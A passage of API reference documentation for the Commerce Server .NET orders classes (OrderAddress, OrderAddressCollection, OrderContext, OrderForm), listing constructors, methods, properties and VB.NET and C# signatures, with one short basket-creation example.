Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress Constructor (BCL)

Public Instance Constructor

Constructor | Description
OrderAddress Constructor(String, Profile) | Creates a new instance of the OrderAddress class with the specified address name and profile object instance containing address information.
OrderAddress Constructor(String, String) | Creates a new instance of the OrderAddress class with a specified address name and address ID.


OrderAddress Constructor (String, Profile) (BCL)

Use this method to create a new instance of the OrderAddress class with the specified address name and profile object instance containing address information.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal addressName As System.String, _
  ByVal address As Profile _
)
[C#]
public OrderAddress(
  System.String addressName,
  Profile address
);

Parameters

[Visual Basic .NET]
addressName
Name of this address object.
address
Profile object to copy address information from.
[C#]
addressName
Name of this address object.
address
Profile object to copy address information from.

Remarks

This method copies property values from the specified profile object into the order address dictionary using the addressMap tag defined in the web.config file for the application. If no addressMap tag is specified, then the default addressMap tag is used.

Throws ArgumentNullException if the addressName or address parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress Constructor (String, String) (BCL)

Use this method to create a new instance of the OrderAddress class with the specified address name and address ID.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal addressName As System.String, _
  ByVal addressID As System.String _
)
[C#]
public OrderAddress(
  System.String addressName,
  System.String addressID
);

Parameters

[Visual Basic .NET]
addressName
Name of this address object.
addressID
The address ID.
[C#]
addressName
Name of this address object.
addressID
The address ID.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.

Protected Instance Methods

Method | Description
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases managed resources.


OrderAddress.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the OrderAddress.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this class and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress Properties (BCL)

Public Instance Properties

Property | Description
City | Accesses the value of the city field on the underlying Dictionary COM interop object.
Country | Accesses the value of the ship_to_country field on the underlying Dictionary COM interop object.
CountryName | Accesses the value of the country_code field on the underlying Dictionary COM interop object.
FirstName | Accesses the value of the first_name field on the underlying Dictionary COM interop object.
ID | Accesses the value of the address_id field on the underlying Dictionary COM interop object.
Item(String) | Accesses the value of the specified order address property on the underlying Dictionary COM interop object.
LastName | Accesses the value of the last_name field on the underlying Dictionary COM interop object.
Line1 | Accesses the value of the address_line_1 field on the underlying Dictionary COM interop object.
Line2 | Accesses the value of the address_line_2 field on the underlying Dictionary COM interop object.
Name | Accesses the value of the address_name field on the underlying Dictionary COM interop object.
PostalCode | Accesses the value of the postal_code field on the underlying Dictionary COM interop object.
RegionCode | Accesses the value of the region_code field on the underlying Dictionary COM interop object.
RegionName | Accesses the value of the region_name field on the underlying Dictionary COM interop object.
ShippingAddressID | Accesses the value of the shipping_address_id field on the underlying Dictionary COM interop object.
State | Accesses the value of the ship_to_state field on the underlying Dictionary COM interop object.
TelephoneNumber | Accesses the value of the telephone_number field on the underlying Dictionary COM interop object.


OrderAddress.City Property (BCL)

The City property is a read/write String that accesses the value of the city field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property City As System.String
[C#]
public System.String City {get; set;}

Property Value

This property accesses the city field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.Country Property (BCL)

The Country property is a read/write String that accesses the value of the ship_to_country field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property Country As System.String
[C#]
public System.String Country {get; set;}

Property Value

This property accesses the ship_to_country field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.CountryName Property (BCL)

The CountryName property is a read/write String that accesses the value of the country_code field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property CountryName As System.String
[C#]
public System.String CountryName {get; set;}

Property Value

This property accesses the country_code field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.FirstName Property (BCL)

The FirstName property is a read/write String that accesses the value of the first_name field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property FirstName As System.String
[C#]
public System.String FirstName {get; set;}

Property Value

This property accesses the first_name field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.ID Property (BCL)

The AddressID property is a read/write String that accesses the value of the address_id field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property ID As System.String
[C#]
public System.String ID {get; set;}

Property Value

This property accesses the address_id field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.Item Property (BCL)

The Item property is a read/write Object that accesses the value of the specified order address property on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property Item( _
  ByVal keyName As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String keyName
) {get; set;}

Parameters

[Visual Basic .NET]
keyName
Name of the property.
[C#]
keyName
Name of the property.

Property Value

This property accesses the specified order address property on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.LastName Property (BCL)

The LastName property is a read/write String that accesses the value of the last_name field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property LastName As System.String
[C#]
public System.String LastName {get; set;}

Property Value

This property accesses the last_name field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.Line1 Property (BCL)

The Line1 property is a read/write String that accesses the value of the address_line_1 field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property Line1 As System.String
[C#]
public System.String Line1 {get; set;}

Property Value

This property accesses the address_line_1 field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.Line2 Property (BCL)

The Line2 property is a read/write String that accesses the value of the address_line_2 field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property Line2 As System.String
[C#]
public System.String Line2 {get; set;}

Property Value

This property accesses the address_line_2 field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.Name Property (BCL)

The Name property is a read/write String that accesses the value of the address_name field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property Name As System.String
[C#]
public System.String Name {get; set;}

Property Value

This property accesses the address_name field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.PostalCode Property (BCL)

The PostalCode property is a read/write String that accesses the value of the postal_code field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property PostalCode As System.String
[C#]
public System.String PostalCode {get; set;}

Property Value

This property accesses the postal_code field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.RegionCode Property (BCL)

The RegionCode property is a read/write String that accesses the value of the region_code field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property RegionCode As System.String
[C#]
public System.String RegionCode {get; set;}

Property Value

This property accesses the region_code field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.RegionName Property (BCL)

The RegionName property is a read/write String that accesses the value of the region_name field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property RegionName As System.String
[C#]
public System.String RegionName {get; set;}

Property Value

This property accesses the region_name field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.ShippingAddressID Property (BCL)

The ShippingAddressID property is a read/write String that accesses the value of the shipping_address_id field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property ShippingAddressID As System.String
[C#]
public System.String ShippingAddressID {get; set;}

Property Value

This property accesses the shipping_address_id field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.State Property (BCL)

The State/Province property is a read/write String that accesses the value of the ship_to_state field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property State As System.String
[C#]
public System.String State {get; set;}

Property Value

This property accesses the ship_to_state field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddress.TelephoneNumber Property (BCL)

The TelephoneNumber property is a read/write String that accesses the value of the telephone_number field on the underlying Dictionary COM interop object.

Definition

[Visual Basic .NET]
Public Property TelephoneNumber As System.String
[C#]
public System.String TelephoneNumber {get; set;}

Property Value

This property accesses the telephone_number field on the underlying Dictionary COM interop object.

Remarks

If the specified key is not set, then the value returned is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection Class (BCL)

Collection of addresses associated with an order form.

Public Instance Methods

Method | Description
Add(OrderAddress) | Adds the specified order address to the collection.
CopyTo(Array, Int32) | Copies the elements of this collection into the specified array.
GetEnumerator | Retrieves an enumerator on this collection.

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns a value of False.
Item(String) | Retrieves an order address by address ID.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of OrderAddressCollection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection Methods (BCL)

Public Instance Methods

Method | Description
Add(OrderAddress) | Adds the specified order address to the collection.
CopyTo(Array, Int32) | Copies the elements of this collection in to the specified array.
GetEnumerator | Retrieves an enumerator on this collection.


OrderAddressCollection.Add (OrderAddress) Method (BCL)

Use this method to add the specified order address to the OrderAddressCollection collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal orderAddress As OrderAddress _
)
[C#]
public void Add(
  OrderAddress orderAddress
);

Parameters

[Visual Basic .NET]
orderAddress
The order address to add to the collection.
[C#]
orderAddress
The order address to add to the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy the elements of this collection in to the specified array.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
Target buffer to copy data to.
index
The zero-based index of array at which copying starts.
[C#]
array
Target buffer to copy data to.
index
The zero-based index of array at which copying starts.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection.GetEnumerator Method (BCL)

Use this method to retrieve an enumerator on the collection.

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

The handle to an OrderAddressEnumerator object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns a value of False.
Item(String) | Retrieves an order address by address ID.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of the OrderAddressCollection class.


OrderAddressCollection.Count Property (BCL)

The Count property is a read-only Int32 indicating the number of elements contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of elements contained in the collection.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: W indows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that indicates whether access to the collection is synchronized. This implementation always returns a value of False.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized. This implementation always returns a value of False.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection.Item Property (BCL)

The Item property is a read-only indexer that allows for accessing a collection indexer by address ID.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal addressID As System.String _
) As OrderAddress
[C#]
public OrderAddress Item(
  System.String addressID
) {get;}

Parameters

[Visual Basic .NET]
addressID
The address ID.
[C#]
addressID
The address ID.

Property Value

An indexer for the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderAddressCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only Object that can be used to synchronize access to the ICollection. This implementation always returns the current instance of OrderAddressCollection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The Object used to synchronize access to the collection.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderContext Class (BCL)

Represents a connection to a transactions database. The construction of an OrderGroup object requires an OrderContext object. A default OrderContext object is created by the Commerce Server .NET Application Framework if the CommerceOrderModule is configured in the web.config file and if a transactions resource exists for the site.

Public Instance Constructor

Constructor | Description
OrderContext Constructor(String, DebugContext) | Creates a new instance of the OrderContext class with the specified connection string and DebugContext object.

Public Instance Methods

Method | Description
CreateOrderTemplate(Guid) | Creates a new order template instance.
GetBasket(Guid) | Retrieves an existing basket instance, or creates a new one if it does not exist.
GetOrderTemplate(Guid, Guid) | Retrieves an existing order template instance.
GetPurchaseOrder(Guid, Guid) | Retrieves an existing purchase order instance.
GetShippingMethods(String, String, String[]) | Returns the list of configured shipping methods as specified by the input parameters.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext Constructor (BCL)

Public Instance Constructor

Constructor | Description
OrderContext Constructor(String, DebugContext) | Creates a new instance of the OrderContext class with the specified connection string and DebugContext object.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext Constructor (String, DebugContext) (BCL)

Use this method to create a new instance of the OrderContext class with the specified connection string and DebugContext object.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal connectionString As System.String, _
  ByVal dbgContext As DebugContext _
)
[C#]
public OrderContext(
  System.String connectionString,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
connectionString
The connection string. May not be null.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will appear to the user. May not be null.
[C#]
connectionString
The connection string. May not be null.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will appear to the user. May not be null.

Remarks

Throws ArgumentNullException if either required parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext Methods (BCL)

Public Instance Methods

Method | Description
CreateOrderTemplate(Guid) | Creates a new order template instance.
GetBasket(Guid) | Retrieves an existing basket instance, or creates a new one if it does not exist.
GetOrderTemplate(Guid, Guid) | Retrieves an existing order template instance.
GetPurchaseOrder(Guid, Guid) | Retrieves an existing purchase order instance.
GetShippingMethods(String, String, String[]) | Returns the list of configured shipping methods as specified by the input parameters.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext.CreateOrderTemplate (Guid) Method (BCL)

Use this method to create a new order template instance.

Definition

[Visual Basic .NET]
Public Function CreateOrderTemplate( _
  ByVal userID As System.Guid _
) As OrderTemplate
[C#]
public OrderTemplate CreateOrderTemplate(
  System.Guid userID
);

Parameters

[Visual Basic .NET]
userID
The ID of the user owning this template (Guid structure).
[C#]
userID
The ID of the user owning this template (Guid structure).

Return Value

A new OrderTemplate class instance.

Remarks

When a template is created, a unique template ID is automatically assigned. The order group ID for a template is the same as the template ID.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext.GetBasket (Guid) Method (BCL)

Use this method to retrieve an existing basket instance, or create a new one if it does not exist.

Definition

[Visual Basic .NET]
Public Function GetBasket( _
  ByVal basketID As System.Guid _
) As Basket
[C#]
public Basket GetBasket(
  System.Guid basketID
);

Parameters

[Visual Basic .NET]
basketID
The OrderGroupID property for baskets is set equal to the basketID. The user ID for the current user is most commonly used as the basketID.
[C#]
basketID
The OrderGroupID property of a basket is set to the basket ID. The userID for the current user is most commonly used as the basketID.

Return Value

The existing populated basket instance, or a new empty basket instance, if one is not found.

Example

using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Orders;

private OrderGroup CreateBasket()
{
   CommerceContext csContext = CommerceContext.Current;

   // Get the user's user Id
   //Guid userID = new Guid(csContext.UserID);
   // For this sample, we'll generate a new Unique UserID:
   Guid userID = Guid.NewGuid();

   // GetBasket() will load a user's existing basket, if it exists,
   // otherwise it will create a new, empty basket
   Basket basket = csContext.OrderSystem.GetBasket(userID);

   // If this is a new basket, then create a default OrderForm
   if (basket.OrderForms.Count < 1)
      basket.OrderForms.Add(new OrderForm("default"));

   return basket;
}

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext.GetOrderTemplate (Guid, Guid) Method (BCL)

Use this method to retrieve an existing order template instance.

Definition

[Visual Basic .NET]
Public Function GetOrderTemplate( _
  ByVal userID As System.Guid, _
  ByVal orderTemplateID As System.Guid _
) As OrderTemplate
[C#]
public OrderTemplate GetOrderTemplate(
  System.Guid userID,
  System.Guid orderTemplateID
);

Parameters

[Visual Basic .NET]
userID
The ID of the user owning this template.
orderTemplateID
The template ID of the order template instance.
[C#]
userID
The ID of the user owning this template.
orderTemplateID
The template ID of the order template instance.

Return Value

An OrderTemplate class instance, if one is found. Null, otherwise.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext.GetPurchaseOrder (Guid, Guid) Method (BCL)

Use this method to retrieve an existing purchase order instance.

Definition

[Visual Basic .NET]
Public Function GetPurchaseOrder( _
  ByVal userID As System.Guid, _
  ByVal orderID As System.Guid _
) As PurchaseOrder
[C#]
public PurchaseOrder GetPurchaseOrder(
  System.Guid userID,
  System.Guid orderID
);

Parameters

[Visual Basic .NET]
userID
The ID of the user owning the basket.
orderID
The order ID of the purchase order.
[C#]
userID
The ID of the user owning the basket.
orderID
The order ID of the purchase order.

Return Value

The purchase order instance, if one is found. Null, otherwise.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderContext.GetShippingMethods (String, String, String[]) Method (BCL)

Use this method to get the list of configured shipping methods as specified by the input parameters.

Definition

[Visual Basic .NET]
Public Function GetShippingMethods( _
  ByVal sqlFilter As System.String, _
  ByVal orderBy As System.String _
  ByVal columnsToReturn As System.String[] _
) As System.Data.Dataset
[C#]
public System.Data.Dataset GetShippingMethods(
  System.String sqlFilter,
  System.String orderBy
  System.String[] columnsToReturn
);

Parameters

[Visual Basic .NET]
sqlFilter
The SQL WHERE clause to apply. Can be null.
orderBy
The SQL ORDER BY clause to apply. Can be null.
columnsToReturn
The list of columns to return. Can be an empty array but cannot be null.
[C#]
sqlFilter
The SQL WHERE clause to apply. Can be null.
orderBy
The SQL ORDER BY clause to apply. Can be null.
columnsToReturn
The list of columns to return. Can be an empty array but cannot be null.

Return Value

The data set containing a data table containing the requested information about the required shipping methods.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Class (BCL)

Encapsulates an order form instance.

Public Instance Constructor

Constructor | Description
OrderForm Constructor | Creates a new instance of the OrderForm class.
OrderForm Constructor(String) | Creates a new instance of the OrderForm class with the specified attributes.
OrderForm Constructor (IOrderForm) | Creates a new instance of the OrderForm class with the specified attributes.
OrderForm Constructor (IOrderForm, String) | Creates a new instance of the OrderForm class with the specified attributes.

Public Instance Methods

Method | Description
Clear | Clears all the line items associated with the order form.
Dispose | Releases resources used by this object.
GetEnumerator | Retrieves an enumerator on this collection from the underlying OrderForm COM Interop object.
SetShippingAddress(String) | Sets the specified shipping address on the order form.

Public Instance Properties

Property | Description
BillingAddress | Retrieves or set the billing_address_id on the order form.
Dictionary | Retrieves the underlying IDictionary interop object.
DiscountsApplied | Gets a collection of the discounts applied for this order form.
HandlingTotal | Retrieves the value of the _cy_handling_total key on the order group instance.
Item(String) | Retrieves or set the value of the specified order form property.
LineItems | Retrieves the line items collection associated with the order form.
Name | Retrieves the order form name.
ParentOrderGroup | Retrieves the order group owning this order form.
ShippingTotal | Retrieves the value of the _cy_shipping_total key from the underlying OrderForm COM interop object.
SubTotal | Retrieves the value of the _cy_oadjust_subtotal key on the order group instance.
TaxIncluded | Retrieves the value of the _cy_tax_included key on the order group instance.
TaxTotal | Retrieves the value of the _cy_tax_total key on the order group instance.
Total | Retrieves the value of the _cy_total_total key on the order group instance.

Protected Instance Methods

Method | Description
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Constructor (BCL)

Public Instance Constructor

Constructor | Description
OrderForm Constructor | Creates a new instance of the OrderForm class.
OrderForm Constructor(String) | Creates a new instance of the OrderForm class with the specified attributes.
OrderForm Constructor(IOrderForm) | Creates a new instance of the OrderForm class with the specified attributes.
OrderForm Constructor(IOrderForm, String) | Creates a new instance of the OrderForm class with the specified attributes.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Constructor (BCL)

Use this method to create a new instance of the OrderForm class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public OrderForm(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Constructor (String) (BCL)

Use this method to create a new instance of the OrderForm class with the specified attributes.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal orderFormName As System.String _
)
[C#]
public OrderForm(
  System.String orderFormName
);

Parameters

[Visual Basic .NET]
orderFormName
The order form name.
[C#]
orderFormName
The order form name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Constructor (IOrderForm) (BCL)

Use this method to create a new instance of the OrderForm class with the specified attributes.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal orderForm As Microsoft.CommerceServer.Interop.Orders.IOrderForm _
)
[C#]
public OrderForm(
  Microsoft.CommerceServer.Interop.Orders.IOrderForm orderForm
);

Parameters

[Visual Basic .NET]
orderForm
The OrderForm object.
[C#]
orderForm
The OrderForm object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Constructor (IOrderForm, String) (BCL)

Use this method to create a new instance of the OrderForm class with the specified attributes.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal orderForm As Microsoft.CommerceServer.Interop.Orders.IOrderForm _
  ByVal orderFormName As System.String _
)
[C#]
public OrderForm(
  ByVal orderForm As Microsoft.CommerceServer.Interop.Orders.IOrderForm _
  System.String orderFormName
);

Parameters

[Visual Basic .NET]
orderForm
The OrderForm object.
orderFormName
The OrderForm object name.
[C#]
orderForm
The OrderForm object.
orderFormName
The OrderForm object name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Methods (BCL)

Public Instance Methods

Method | Description
Clear | Clears all the line items associated with the order form.
Dispose | Releases resources used by this object.
Dictionary | Retrieves the underlying IDictionary Interop object.
GetEnumerator | Retrieves an enumerator on this collection from the underlying OrderForm COM interop object.
SetShippingAddress(String) | Sets the specified shipping address on the order form.

Protected Instance Methods

Method | Description
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.Clear Method (BCL)

Use this method to clear all the line items associated with the order form.

Definition

